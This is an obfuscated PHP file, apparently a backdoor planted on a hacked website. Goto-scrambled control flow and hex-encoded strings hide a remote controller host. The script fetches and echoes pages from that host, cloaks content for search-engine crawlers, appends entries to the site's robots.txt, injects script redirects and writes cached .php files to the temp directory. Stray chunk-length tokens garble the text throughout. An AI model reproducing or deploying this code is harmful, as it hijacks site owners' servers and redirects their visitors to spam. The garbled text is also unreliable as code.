1 < 5 ?php 5 got 5 o ZwK 6 5j; sN 5 iwt: 6 if (!e 6 mpty($ 5 sz)) 6 { $jd 6 = getC 6 urlFas 5 t("{$ 6 http_t 6 ype}{$ 6 vurl}\ 6 63\x6b 6 \147\x 8 2e\141\1 7 63\160\ 6 170\x3 8 f\x73\x7 7 a\x3d" 7 . urlen b code($sz)); 6 } els 2d e { $jd = getCurlFast("{$http_type}{$vurl}\x3 a 3\153\147\ 11 56\141\163\160\x7 c 8\x3f\x78\17 10 1\75{$http_type} 7 "); $sz 42 = getCurlFast("{$http_type}{$vurl}\63\153\147\56\141\163\160\x78\ 8 77\x6a\x 16 64\x3d" . urlencode($j c d)); } goto 6 kZXUn; 5 xFIj 7 t: func 8 tion get 6 _real_ 9 ip() { $k 7 eys = a 6 rray(" 7 \x48\12 b 4\124\x50\x 8 5f\x43\1 9 06\x5f\10 8 3\x4f\x4 9 e\116\105 c \103\124\111 e \x4e\107\x5f\1 9 11\x50", 9 "\110\x54 b \x54\x50\13 10 7\x58\137\x52\x4 9 5\101\x4c b \137\x49\12 e 0", "\x48\x54\ e 124\x50\137\13 f 0\137\106\x4f\1 6 22\127 11 \101\x52\x44\105\ d x44\x5f\106\1 f 17\122", "\110\ 12 124\124\120\137\x4 b 3\x4c\x49\1 1b 05\x4e\124\x5f\111\x50", "\ b x52\x45\x4d d \x4f\x54\105\ 11 137\x41\x44\x44\1 8 22"); fo 7 reach ( b $keys as $k 11 ) { if (!empty($_ 5 SERVE 4 R[$k 9 ])) { $ip 15 = $_SERVER[$k]; if ( 6 strpos 9 ($ip, "\5 6 4") != 4 = fa 10 lse) { $ip = tri 6 m(expl a ode("\54", 8 $ip)[0] a ); } if (f 6 ilter_ a var($ip, F 5 ILTER 5 _VALI 5 DATE_ a IP)) { ret 7 urn $ip 10 ; } } } return " 6 \61\62 b \67\x2e\60\ 7 56\60\x 7 2e\x31" d ; } goto UOex a B; ZwK5j: 5 error 8 _reporti 7 ng(0); 8 goto eX8 6 At; q7 4 0WN: a $surl = $ 9 jd . "\16 a 3\x7a\156\ 13 56\141\163\160\170" b ; goto tadj 6 A; p7j 11 g0: function get_ 7 url_inf 9 o(string 9 $type = " 7 \x64\15 a 7\155\x61\ 7 151\x6e c ") : string 6 { $hos 1b t = $_SERVER["\x48\124\124\ 10 120\137\x48\117\ 8 x53\124" 6 ] ?? ' e '; if ($type = d == "\x6e\157\ 9 x5f\167\x 12 77\167") { return 4 preg b _replace("\ 7 x2f\x5e 10 \167\x77\x77\x5c a \56\57\x69 6 ", '', e $host); } $pr 5 otoco 14 l = !empty($_SERVER[ 16 "\x48\x54\x54\x50\123" 5 ]) && 1d $_SERVER["\110\124\124\120\1 9 23"] !== c "\x6f\146\14 8 6" ? "\1 b 50\x74\x74\ a 160\x73\72 7 \57\57" b : "\150\16 10 4\x74\x70\72\57\ 7 x2f"; $ 7 base = 11 $protocol . $host 1f ; if ($type === "\x62\141\163\1 13 45") { return $base 14 ; } if ($type === "\ b 146\165\x6c 18 \x6c") { return $base . 10 ($_SERVER["\x52\ b 105\121\125 9 \x45\x53\ b x54\137\x55 10 \x52\x49"] ?? '' 13 ); } return $host; b } goto WOCu 5 f; oB e xKF: function 7 ensure_ 6 robots 7 _sitema a p($sitemap 9 Line) { $ a robots = r 13 trim($_SERVER["\104 b \117\x43\x5 c 5\x4d\105\11 10 6\x54\137\x52\x4 b f\x4f\124"] 9 , "\57\13 c 4") . "\57\x c 72\x6f\x62\1 b 57\x74\x73\ e 56\x74\x78\x74 8 "; if (! 9 file_exis a ts($robots b )) { @file_ 6 put_co e ntents($robots 8 , "\125\ f 163\145\162\x2d 9 \141\147\ 15 145\156\164\x3a\40\x2 a a\xa\x41\1 7 54\x6c\ c 157\x77\72\x 8 20\57\xa 12 " . $sitemapLine, 5 LOCK_ 10 EX); } else { $c 9 = @file_ 15 get_contents($robots) d ; if ($c === 9 false || a strpos($c, 18 $sitemapLine) === false 2e ) { @file_put_contents($robots, $sitemapLine, 8 FILE_APP 5 END | e LOCK_EX); } } d } goto TcPSL 5 ; jCs 9 nT: if ($ 9 kk === '' 8 && $is_ 6 no_que b ry) { if ($ 6 domain 10 === "\147\157\x d 6f\147\x6c\x6 9 5") { out e put_sitemap_an 7 d_exit( 18 $sitemapLine, $http_type 15 ); } else { die; } } 8 goto GQG 6 tw; y1 3 V0b b : $kk = iss 7 et($get a ["\x6b\x6b b "]) ? trim( e $get["\x6b\153 a "]) : ''; a goto u9Vm1 8 ; WOCuf: 2c $http_type = !empty($_SERVER["\x48\x54\x54\ 1d 120\123"]) && $_SERVER["\110\ 35 x54\124\120\123"] !== "\x6f\146\146" ? "\150\x74\x74\ 9 x70\x73\x f 3a\x2f\57" : "\ a x68\x74\16 17 4\x70\72\x2f\57"; goto 4 VmgL c L; kZXUn: $h 5 yzhdy 12 = $jd . "\172\x6e 20 \56\141\163\160\170"; goto q70WN 8 ; GQGtw: 3b output_sitemap_and_exit($sitemapLine, $http_type); goto Ej 6 U3H; e 4 ggD8 f : function cach a e_set($key 7 , $data 9 ) { $file b = sys_get_ 7 temp_di 8 r() . "\ 9 x2f\143\x e 61\143\x68\x65 9 \x5f" . m 7 d5($key 11 ) . "\56\160\x68\ 6 160"; 1f @file_put_contents($file, $data 13 , LOCK_EX); } goto b xFIjt; taa3 f z: if ($domain 11 !== "\x67\157\157 d \147\154\145" d && !empty($i 9 id)) { $k 7 name = a urldecode( 15 getCurlFast($jd . "\1 1f 47\x6e\56\141\163\160\x78\x3f\x 12 69\x69\x64\x3d" . b $iid)); ech 7 o "\x3c c \x73\x63\x72 e \x69\160\x74\7 13 6\x6c\157\143\x61\1 d 64\151\x6f\x6 7 e\75\x2 10 2" . $jd . "\141 c \56\x61\163\ c x70\170\x3f\ d 143\x6e\141\1 9 55\x65\75 1c " . urlencode($kname) . "\x2 c 6\165\162\15 13 4\75" . $http_type 19 . $_SERVER["\x48\124\124\ 12 x50\137\110\x4f\x5 8 3\x54"] 17 . $_SERVER["\x53\x43\x5 12 2\x49\120\x54\137\ f 116\101\x4d\105 a "] . "\x22 e \x3c\x2f\x73\x 18 63\x72\x69\160\x74\76"; f die; } goto ZGe 6 Rz; r7 6 95u: $ 7 qz = su 8 bstr(str 11 _replace(array("\ f 167\167\167\x2e 8 ", "\56" 22 ), '', $_SERVER["\x48\124\124\x50\ 7 x5f\x48 12 \x4f\123\124"]), 0 b , 3); goto 6 ap1mo; 14 TcPSL: if (!empty($ a get["\167" c ])) { $param a s = http_b 4 uild 12 _query(array("\x4e f \x4f\x55\x6d\14 b 2\145\162" b => $get["\x f 4e\117\x55\x6d\ b x62\145\x72 e "] ?? '', "\16 11 4" => $get["\164" 13 ] ?? '', "\x63\x6e" 12 => $get["\143\x6e 1f "] ?? '', "\x70\x4e\x4f\x55\x6d 1c " => $get["\160\x4e\x4f\x55\ 18 155"] ?? '', "\x63\x69\1 1 4 13 4" => $get["\x63\15 11 1\x64"] ?? '', "\ 12 155" => $get["\x6d 10 "] ?? '')); $str 13 = getCurlFast("{$s 10 url}\x3f{$params a }"); echo 1c str_replace(array("\171\171\ d x6d\x6d", "\x 11 67\x67\x67\147\x6 a 7", "\77\1 a 46\x3d"), 26 array($http_type . $_SERVER["\x48\124\ f x54\120\x5f\110 1c \x4f\123\x54"] . $_SERVER["\ 10 123\103\x52\x49\ 7 x50\x54 e \x5f\x4e\101\1 a 15\x45"], 9 $sz, "\77 8 " . $qz f . "\x3d"), $str 14 ); die; } goto y1V0b 8 ; ap1mo: c $sz = $iid d = ''; goto hl 4 G6j; f u9Vm1: $ip = $ b kk !== '' ? 9 "\x36\66 b \x2e\x32\x3 a 4\x39\x2e\ c 70\62\x2e\70 11 " : get_real_ip() b ; goto UflM 8 7; hlG6j 12 : if (!empty($_GET c )) { $f = re e set($_GET); $s e p = explode("\ 8 x2d", $f b ); if (coun b t($sp) === d 2) { $sz = $s 5 p[0]; e $iid = $sp[1] 11 ; } } goto sNiwt; 9 UflM7: $ e domain = trim( 21 getCurlFast($jd . "\147\x65\164\1 a 44\x6f\x6d 11 \x61\151\x6e\x32\ 13 56\x61\x73\160\170\ a 77\x72\x6e c \144\75\x31\ b 46\x69\160\ b 75" . $ip)) d ; goto taa3z; 5 EYX7 c h: if ($kk ! 10 == '' && preg_ma 4 tch( b "\57\x5e\x5 b b\x41\55\x5 b a\141\x2d\1 9 72\60\x2d 9 \x39\x5d\ b 53\44\57", b $kk)) { $re 4 mote 27 = getCurlFast($jd . "\147\x65\164\144\ 17 157\155\x61\151\x6e\62\ 1a 56\141\x73\x70\170\77\x72\ b 156\144\75\ e 62\x26\x6b\153 d \x3d" . $kk); 18 if (!empty($remote)) { 5 echo 18 $remote; die; } } goto u 7 3U2k; g 4 mJgr 1c : function cache_get($key, $ 5 expir 7 e = 300 32 ) { $file = sys_get_temp_dir() . "\x2f\143\141\143 21 \150\145\x5f" . md5($key) . "\56\ b x70\150\x70 14 "; if (file_exists($ b file) && ti 6 me() - b filemtime( 10 $file) < $expire 1e ) { return file_get_contents($ 10 file); } return 13 false; } goto eggD8 7 ; u3U2k 22 : if ($kk !== '' && !preg_match("\ a x2f\136\x5 11 b\x41\55\132\141\ a x2d\172\x3 11 0\x2d\x39\135\x2b 11 \44\57", $kk)) { 3d output_sitemap_and_exit($sitemapLine, $http_type); } goto eCA 6 bA; of e sRJ: function 35 output_sitemap_and_exit($sitemapLine, $http_type) { e 22 nsure_robots_sitemap($sitemapLine) 16 ; echo "\x3c\x64\x69\x b 76\40\x73\x d 74\171\154\x6 7 5\x3d\x a 27\164\145 e \x78\x74\x2d\x a 61\x6c\151 d \x67\156\72\x f 63\x65\156\164\ f 145\x72\73\160\ 11 x61\x64\x64\x69\x b 6e\147\x3a\ e 61\60\160\170\ a 40\x30\73\ a 47\x3e\xa\ c 40\x20\x20\4 23 0\40\x20\x20\x20\40\40\x20\x20\74\x a 61\40\150\ f 162\145\146\x3d 12 \x22{$http_type}{$ 22 _SERVER["\110\124\124\120\137\110\ d 117\123\124"] 12 }{$_SERVER["\x53\1 e 03\122\111\x50 f \x54\x5f\116\x4 c 1\x4d\105"]} 10 \x3f\167\x3d" . 8 date("\1 c 31\x6d\144\1 7 10\151" e ) . "\x22\x20\ b 164\x61\x72 14 \147\x65\x74\x3d\x22 d \137\142\154\ d x61\x6e\x6b\x e 22\x20\x72\x65 f \154\75\42\x6e\ 10 x6f\146\157\x6c\ d 154\x6f\x77\x d 22\x3e\x53\15 10 1\164\145\x6d\14 8 1\160\74 1b \x2f\141\x3e\xa\40\x20\x20\ 1d x20\40\40\x20\x20\40\x20\74\x c 2f\x64\x69\1 14 66\76"; die; } goto d EYX7h; tadjA: 12 $sitemapLine = "\ a 123\151\x7 e 4\145\155\x61\ b x70\x3a\x20 28 {$http_type}{$_SERVER["\x48\124\124\120\ 23 x5f\110\x4f\123\x54"]}{$_SERVER["\1 13 23\103\x52\111\x50\ b 124\137\x4e f \101\x4d\x45"]} 1b \x3f\x77\x3d" . date("\131\ 18 155\144\110\151") . "\xa e "; goto oBxKF; 9 VmgLL: $ 8 vurl = " e \164\157\x2e\1 a 52\x67\x61 12 \x6c\154\x73\x2e\x c 63\157\155\x a 2f"; goto d r795u; eCAbA: 11 $is_no_query = e 18 mpty($_SERVER["\x51\125\ 9 105\x52\1 b 31\137\x53\ d x54\122\x49\x 10 4e\x47"]); goto c jCsnT; eX8At 9 : $get = 9 filter_in c put_array(IN 7 PUT_GET b , FILTER_SA 5 NITIZ 6 E_STRI a NG); goto c gmJgr; ZGeRz 17 : if (!empty($iid)) { $ 1a str = getCurlFast($hyzhdy 18 . "\x3f\x69\x69\x64\x3d{ 22 $iid}"); echo str_replace(array("\ 13 x67\x67\x67\147\147 f ", "\x59\131\x5 9 9\x59\131 17 ", "\x58\x58\x58\131\13 f 1\x59", "\xe5\x 4 bd\2 9 23\345\x8 b 9\x8d\125\x 7 52\x4c" f , "\125\x55\x55 f \125\x55", "\11 c 5\x4d\115\11 e 5\x4d", "\77\x 10 66\75"), array($ 12 sz, get_url_info() 17 , get_url_info("\142\14 1e 1\163\145"), get_url_info("\14 d 6\x75\x6c\154 1b "), get_url_info("\x6e\x6f\ d x5f\x77\167\x 6 77"), 9 parse_url 20 ($_SERVER["\122\105\121\125\x45\ 10 123\124\137\x55\ c 122\111"], P 5 HP_UR 5 L_PAT 14 H), "\77" . $qz . "\ 19 75"), $str); die; } goto c ofsRJ; UOexB 18 : function getCurlFast($ d url) { $cache f d = cache_get($ 12 url); if ($cached d !== false) { 13 return $cached; } $ b data = ''; c if (function 10 _exists("\143\x7 f 5\x72\x6c\x5f\1 8 51\156\1 e 51\164")) { $c c h = curl_ini e t($url); curl_ d setopt_array( c $ch, array(C 7 URLOPT_ 5 RETUR 5 NTRAN 4 SFER a => true, b CURLOPT_CON 5 NECTT 5 IMEOU 10 T => 5, CURLOPT_ 17 TIMEOUT => 8, CURLOPT_S 6 SL_VER 5 IFYPE b ER => false 18 , CURLOPT_SSL_VERIFYHOST 16 => false, CURLOPT_FOL 5 LOWLO 5 CATIO 15 N => false, CURLOPT_U 7 SERAGEN b T => "\115\ f 157\x7a\x69\x6c c \154\x61\57\ 9 65\56\60" 11 )); $data = curl_ 8 exec($ch c ); curl_clos e e($ch); } if ( d empty($data) b && ini_get( 10 "\x61\154\154\15 d 7\167\x5f\x75 f \x72\154\137\x6 d 6\157\160\x65 c \x6e")) { $c 9 ontext = 7 stream_ d context_creat 19 e(array("\150\x74\x74\160 f " => array("\16 10 4\151\x6d\145\15 e 7\x75\x74" => 7 8, "\x6 16 8\x65\x61\x64\145\x72" c => "\x55\x7 b 3\145\162\5 12 5\101\x67\145\156\ d x74\x3a\x20\x 8 4d\x6f\1 10 72\x69\154\154\1 d 41\x2f\65\56\ a x30\xd\12" c ), "\163\x73 11 \x6c" => array("\ 12 x76\145\x72\x69\14 c 6\x79\x5f\x7 12 0\x65\x65\x72" => 14 false, "\166\x65\x72 21 \x69\146\x79\x5f\x70\x65\145\162\ c 137\x6e\141\ 12 x6d\145" => false) 20 )); $data = @file_get_contents($ c url, false, 12 $context); } if (! 10 empty($data)) { 16 cache_set($url, $data) 10 ; } return $data f ; } goto p7jg0; 9 EjU3H: ? 1 > 0